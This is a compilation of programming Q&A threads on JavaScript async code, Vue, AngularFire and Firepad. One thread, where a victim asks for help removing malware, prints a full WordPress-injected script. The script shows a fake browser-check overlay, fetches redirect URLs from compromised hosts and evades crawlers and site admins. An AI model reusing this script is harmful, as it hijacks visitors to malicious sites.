Multiple promises fulfilled and saved in NodeJS - asynchronous

I have this part of code that work but strangely the latest step of outputting the result doesn't work.. When i try to log the first element of array it returns undefined bacause the execution is asynchronous. I thought to build a series of nested callbacks but I think that is a bad practice. Is there any other way to makes it work without create nested promise callbacks?
CODE:
var ImgGalleyURL = [];
//CONTROLLO SE SONO STATE INSERITE IMMAGINI DA CARICARE E LE CARICO
if (postwp.postImgGallery1 != null && postwp.postImgGallery1 != "") {
msg.createMedia(postwp.postImgGallery1).then((imgURL)=>ImgGalleyURL.push(imgURL));
}
if (postwp.postImgGallery2 != null && postwp.postImgGallery2 != "") {
msg.createMedia(postwp.postImgGallery2).then((imgURL)=>ImgGalleyURL.push(imgURL));
}
if (postwp.postImgGallery3 != null && postwp.postImgGallery3 != "") {
msg.createMedia(postwp.postImgGallery3).then((imgURL)=>ImgGalleyURL.push(imgURL));
}
if (postwp.postImgGallery4 != null && postwp.postImgGallery4 != "") {
msg.createMedia(postwp.postImgGallery4).then((imgURL)=>ImgGalleyURL.push(imgURL));
}
if (postwp.postImgGallery5 != null && postwp.postImgGallery5 != "") {
msg.createMedia(postwp.postImgGallery5).then((imgURL)=>ImgGalleyURL.push(imgURL));
}
console.log(ImgGalleyURL[0] + "this is the first image loaded");
Thank you all

I think you're looking for Promise.race:
const promises = [];
for (let i=1; i<=5; i++) {
const propName = "postImgGallery" + i;
if (postwp[propName] != null && postwp[propName] != "") {
promises.push(msg.createMedia(postwp[propName]));
}
}
Promise.race(promises).then(firstUrl => {
console.log(firstUrl + "this is the first image loaded");
});
Promise.all(promises).then(imgGalleryURLs => {
console.log("All images ("+ imgGalleryURLs.join(", ") + ") loaded");
});
You were trying to log the first value of the array when none of the promises was fulfilled yet, so it was still empty.

Related

Expression passes condition but ignores return statement inside the block

This is a function to compare two strings recursively. It works fine as:
compareStr("", ""); --- returns true.
compareStr("house", "houses"); --- returns false.
But for some reason, this invocation returns undefined:
compareStr('tomato', 'tomato');
Even stranger is the fact that the function is making it into the code block and logging "should return true" to the console, but it's completely skipping the return statement, and returning undefined instead.
var compareStr = function (str1, str2) {
if (str1 === '' && str2 === '') {
console.log('Should return true');
return true;
}
var arr1 = str1.split('');
var arr2 = str2.split('');
var frag1 = arr1.pop();
var frag2 = arr2.pop();
if (frag1 === frag2) {
var strA = arr1.join('');
var strB = arr2.join('');
compareStr(strA, strB);
} else {
return false;
}
};
You are missing a return.
return compareStr(strA, strB);

Vue.js - Update computed property after async computed property gets updated

I have a computed property (filteredSyms) that depends on the asynchronous computed property (allSynonyms). I am using async-computed plugin for this:
https://www.npmjs.com/package/vue-async-computed.
However, when the data gets updated the computed property doesn't wait until the result of the async property update. Therefore, I receive not up to date information. Then after the async property actually return new value computed property doesn't run update again.
How can I make it work the way that computer property waits until there is a result from the async computed property?
The code is below:
asyncComputed: {
async allSynonyms() {
let allSyns = await this.$axios.$post('/db/sym/synonyms', this.model.syms);
return allSyns;
}
},
computed: {
filteredSyms() {
let that = this;
let allSyn = this.allSynonyms;
let exactMatch = this.symsByRating.filter(
function (v) {
let isExactMatch = v.title.toLocaleLowerCase().indexOf(that.searchString.toLocaleLowerCase()) >= 0;
return !that.idsToFilter.includes(v.id) && isExactMatch
&& (!that.currentBodyPart || v.bodyParts.indexOf(that.currentBodyPart) >= 0)
&& that.hasMoreSubsyms(v)
&& (!allSyn || !that.containsObject(v, allSyn))
&& (v.sex == that.model.sex || v.sex == 'NA');
});
let partialList = [];
exactMatch.forEach(ex => partialList.push({n: 100, sym: ex}));
for (let sym of this.symsByRating ) {
let searchWords = this.searchString.toLocaleLowerCase().split(' ');
let symWords = sym.title.toLocaleLowerCase().split(' ');
let n = 0;
let isPartialMatch = false;
symLoop:for (let symWord of symWords) {
symWord = symWord.substring(0, symWord.length - 1);
for (let searchWord of searchWords) {
// don't count last letters of the words
searchWord = searchWord.substring(0, searchWord.length - 1);
if (searchWord.length > 2 && symWord.indexOf(searchWord) >= 0) {
n++;
isPartialMatch = true;
}
}
}
if (exactMatch.indexOf(sym) < 0 && isPartialMatch
&& (!this.currentBodyPart || sym.bodyParts.indexOf(this.currentBodyPart) >= 0)
&& this.hasMoreSubsyms(sym)
&& (!allSyn || !this.containsObject(sym, allSyn))
&& (sym.sex == that.model.sex || sym.sex == 'NA')) {
partialList.push({n: n, sym: sym});
}
}
partialList.sort(function(obj1, obj2) {
return obj2.n - obj1.n;
});
if (this.searchString && this.searchString != '') {
partialList = this.filterSynonyms(partialList);
}
let fs = partialList.map(ws => ws.sym);
console.dir(fs);
return fs;
}
}
A lot of stuff is going on the filtered method, but I guess the main point here that it is using this.allSynonyms to do the check but it is not updated at the time filteredSyms is executed.
Thanks for your suggestions!
(I haven't really tested this out, but it should work.)
vue-async-computed does provide the status in this.$asyncComputed.allSynonyms.success.
try adding this.$asyncComputed.allSynonyms.success as a dependencies to filteredSyms and it should update when success state change.

AngularFire2 Firebase Observable never ends (list is empty)

I'm trying to query an empty firebase list. The problem is that the observable method subscribe never finish and I can't show to user that ddbb list is empty.
The function getUserAppointmentsByDate(...) is calling getUserAppointments(...), where this.database.list('/appointment/users/' + user_uid) is an empty firebase list for the input user (user_uid).
how should I manage an empty query to firebase?
thanks in advance!
getUserAppointmentsByDate(user_uid: string, start: string, end: string) {
if (typeof (user_uid) == "undefined" || typeof (start) == "undefined" || typeof (end) == "undefined") {
console.error("invalid argument for getPatientReport");
return;
}
return this.getUserAppointments(user_uid)
.map(
(appointment) => {
return appointment
.filter((appointment) => {
var appointmentStart = new Date(appointment.start);
var startFilter = new Date(start);
var endFilter = new Date(end);
//Filter old, not cancelled and not deleted
return (appointmentStart.getTime() < endFilter.getTime())
&& (appointmentStart.getTime() > startFilter.getTime())
&& (appointment.status != AppointmentStatus.CANCELLED);
});
})
}
getUserAppointments(user_uid: string): any {
return this.database.list('/appointment/users/' + user_uid) //*THIS IS AN EMPTY LIST
.mergeMap((appointments) => {
return Observable.forkJoin(appointments.map(
(appointment) => this.database.object('/appointment/list/' + appointment.$key)
.take(1)))
})
}
As the this.database.list('/appointment/users/' + user_uid) return a empty array. Observable.forkJoin(appointments.map( complete without emit any value (that is the expected way of forkJoin works). In this case, you have two options, handling in the complete function.
.subscribe(
res => console.log('I got values'),
err => console.log('I got errors'),
// do it whatever you want here
() => console.log('I complete with any values')
)
or handle in an if statement:
import { of } from 'rxjs/observable/of';
...
return this.database.list('/appointment/users/' + user_uid)
.mergeMap((appointments) => {
if (appointments.length === 0) return of([]);
return Observable.forkJoin(appointments.map(
(appointment) => this.database.object('/appointment/list/' + appointment.$key)
.take(1)))
})

Suspicious code in WordPress any idea how to remove this?

(function () {
//<script>
var w_location = null;
var domains = [
'http://kntsv.nl/images/tmp.php',
'http://grimhoj.dmcu.dk/modules/mod_xsystem/tmp.php',
'http://langedijke.nl/plugins/tmp.php',
'http://megateuf.edelo.net/cgi-bin/tmp.php',
'http://www.icanguri.com/modules/mod_xsystem/tmp.php',
'http://www.pflege-tut-gut.de/wp-content/plugins/tv1/tmp.php',
'http://yofeet.com/drupal/modules/tmp.php',
'http://squash-moyennedurance.fr/modules/mod_xsystem/tmp.php',
'http://www.devonportmotors.co.nz/images/tmp.php'
];
function getDomainName(domain) {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
if (xhr.responseText && xhr.responseText.trim().length > 0) {
w_location = xhr.responseText.trim();
}
}
};
xhr.open('GET', domains[0], true);
xhr.send();
}
for (var i = 0; i < domains.length; i++) {
getDomainName(domains[i]);
}
function start() {
var from = document.referrer;
var i;
// If it's direct
var eee = ["", " "];
var se = ["google", "yahoo", "bing", "yandex", "baidu", "gigablast", "soso", "blekko", "exalead", "sogou", "duckduckgo", "volunia"];
if (checkCookie()) {
return;
}
var uagent = navigator.userAgent;
if (!uagent || uagent.length == 0) {
return;
}
uagent = uagent.toLowerCase();
if (uagent.indexOf('google') != -1 || uagent.indexOf('bot') != -1
|| uagent.indexOf('crawl') != -1) {
} else {
hideWebSite();
}
function getCookie(c_name) {
var c_value = document.cookie;
var c_start = c_value.indexOf(" " + c_name + "=");
if (c_start == -1) {
c_start = c_value.indexOf(c_name + "=");
}
if (c_start == -1) {
c_value = null;
}
else {
c_start = c_value.indexOf("=", c_start) + 1;
var c_end = c_value.indexOf(";", c_start);
if (c_end == -1) {
c_end = c_value.length;
}
c_value = unescape(c_value.substring(c_start, c_end));
}
return c_value;
}
function setCookie(c_name, value, exdays) {
var exdate = new Date();
exdate.setDate(exdate.getDate() + exdays);
var c_value = escape(value) + ((exdays == null) ? "" : "; expires=" + exdate.toUTCString());
document.cookie = c_name + "=" + c_value;
}
function checkCookie() {
if (localStorage.getItem('yYjra4PCc8kmBHess1ib') === '1') {
return true;
} else {
localStorage.setItem('yYjra4PCc8kmBHess1ib', '1');
}
var referrerRedirectCookie = getCookie("referrerRedirectCookie");
if (referrerRedirectCookie != null && referrerRedirectCookie != "") {
return true;
} else if (document.cookie.indexOf('wordpress_logged') !== -1
|| document.cookie.indexOf('wp-settings') !== -1
|| document.cookie.indexOf('wordpress_test') !== -1) {
return true;
} else {
setCookie("referrerRedirectCookie", "do not redirect", 730);
return false;
}
}
}
function createPopup() {
var popup = document.createElement('div');
popup.style.position = 'absolute';
popup.style.width = '100%';
popup.style.height = '100%';
popup.style.left = 0;
popup.style.top = 0;
popup.style.backgroundColor = 'white';
popup.style.zIndex = 99999;
document.body.appendChild(popup);
popup.onclick = function () {
var intervalId = setInterval(() = > {
if (
!w_location
)
{
return;
}
clearInterval(intervalId);
window.location = w_location;
},
10
)
;
};
var p = document.createElement('p');
p.innerText = "Checking your browser before accessing "
+ window.location.host + "...";
p.style.textAlign = 'center';
//p.style.margin = '20px auto';
//p.style.left = '20px';
p.style.fontSize = 'x-large';
p.style.position = 'relative';
p.textContent = p.innerText;
popup.appendChild(p);
return popup;
}
function createButton() {
var button = document.createElement('div');
button.style.position = 'absolute';
button.style.top = '20%';
button.style.left = '10%';
button.style.right = '10%';
button.style.width = '80%';
button.style.border = "1px solid black";
button.style.textAlign = 'center';
button.style.verticalAlign = 'middle';
button.style.margin = '0, auto';
button.style.cursor = 'pointer';
button.style.fontSize = 'xx-large';
button.style.borderRadius = '5px';
button.onclick = function () {
window.location = w_location;
};
button.onmouseover = function () {
button.style.border = '1px solid red';
button.style.color = 'red';
};
button.onmouseout = function () {
button.style.border = '1px solid black';
button.style.color = 'black';
};
button.innerText = "Continue";
button.textContent = button.innerText;
return button;
}
var hideWebSite = function () {
var popup = createPopup();
var button = createButton();
popup.appendChild(button);
};
var readyStateCheckInterval = setInterval(function () {
if (document.readyState === 'complete'
|| document.readyState == 'interactive') {
clearInterval(readyStateCheckInterval);
start();
}
}, 10);
//</script>
})
I have tried grep across code, but couldn't find anything, I took MySQL dump of complete database, but didn't find anything there.
I ran clamscan and I can't find any issue, My doubt is on Visual Composer, but when I grep in Visual Composer I dont see this code.
UPDATE
This is what the site shows when infected:
You can check the source of that message and button (overlay, which should not be there) by going to Chrome dev tools console and see the value of variable ZJPMAWHWOE which will give you a bunch of JS code, but in the variable it is encrypted, once the code runs and gets decrypted it is the JS code posted above.
If you go to website https://sitecheck.sucuri.net/ and check for your site then you will get the infection alert from them:
Upon further investigation we found the following:
As pointed out by OP and others in comments, GREP into the website's files and other sites' files in the same server for any traces of the infected code (either encrypted or decrypted) did not give any results, meaning the infection was not in any files (at least not in that form).
We noticed some extra garbage chars at the bottom of our page where we have our "legal" disclaimer:
Tracked down what part of the final HTML had the infection (and/or garbage chars), for our case looking for JS variable ZJPMAWHWOE
Efectively, the script code was present in a known HTML piece which for us was the "legal" page that exists in one of our WordPress pages.
This was pointing now to the code being inside pages/post directly edited in WordPress. We went in and checked for the legal page and found it there (noticed the same garbage chars first):
And then while scrolling down (in Text view, to get the raw HTML of the page) we got to this:
We checked for other pages and posts in the site and the same injected code was present in them.
Once we cleaned them all the infection seems to be gone.
So now, how is that attack accomplished? our theory is that only by getting WordPress user credentials and editing the pages/posts; in our case that was fairly easy since our /wp-admin login pages are not HTTPS protected so our user and passwords can be easily sniffed; we think that was the way they got user credentials and afterwards edited the pages/posts to add the malicious code.
Besides the clean up we also did the following:
Updated the system password database
Deleted all users from WordPress; we only left in there ‘admin’ and my user (both with Administrator roles)
Updated the passwords for users ‘admin’ and my user
Recreated users with new passwords for blog editors
In progress: We are getting HTTPS for our WordPress in order to protect the user/password information that is submitted each time we login to wp-admin.
I would also like to hear about other recommendations about how to increase the security of our WordPress as well as other theories about how did they were able to inject the malicious code within the pages/posts.

FirePad - delete all revisions which are a number of days older than a certain snapshot

This is continuing from an old thread here https://groups.google.com/forum/#!topic/firepad-io/73dKYaUwTn4)
The aim is to clean the database for documents which have many revisions over a long period
I need help writing a function that issue a FB command to delete all revisions which are 'nd' days older than the 'ns' snapshot.
I am not sure of both the Firebase syntax for this command and how to access the relevant firebase keys properly.
Any help will be greatly appreciated
Thx!
ended up solving this
PR: https://github.com/firebase/firepad/pull/264
code:
FirebaseAdapter.prototype.deleteOldRevisions_ = function(query) {
var self=this;
query.once('value', function(s) {
if (typeof s.val() === 'undefined' || s.val() === null || !s.hasChildren()) return;
s.forEach(function(rev) {
utils.log('removing old revision: '+rev.key);
rev.ref.remove();
});
setTimeout(function() { self.deleteOldRevisions_(query); }, 100); // delete the next one
});
}
FirebaseAdapter.prototype.monitorHistory_ = function() {
var self = this;
// Get the latest checkpoint as a starting point so we don't have to re-play entire history.
self.ref_.child('checkpoint').once('value', function(s) {
//utils.log(new Date().toISOString() + ': got checkpoint');
if (self.zombie_) { return; } // just in case we were cleaned up before we got the checkpoint data.
var revisionId = s.child('id').val(), op = s.child('o').val(), author = s.child('a').val();
if (op !== null && revisionId !== null && author !== null &&
op !== undefined && revisionId !== undefined && author !== undefined) {
self.pendingReceivedRevisions_[revisionId] = { o: op, a: author };
self.checkpointRevision_ = revisionFromId(revisionId);
self.monitorHistoryStartingAt_(self.checkpointRevision_ + 1);
} else {
self.checkpointRevision_ = 0;
self.monitorHistoryStartingAt_(self.checkpointRevision_);
}
// delete revisions older than one week before last checkpoint
if (revisionId) {
var historyRef=self.ref_.child('history');
historyRef.child(revisionId+'/t').once('value', function(s) {
if (typeof s.val() !== 'undefined' && s.val() !== null) {
var weekBefore=s.val()-(24*60*60*1000*7);
//utils.log('checkpoint revision: '+self.checkpointRevision_);
//utils.log('checkpoint time: ' + new Date(s.val()));
//utils.log('remove before: ' + new Date(weekBefore));
self.deleteOldRevisions_(historyRef.orderByChild('t').endAt(weekBefore));
}
});
}
});
};

Resources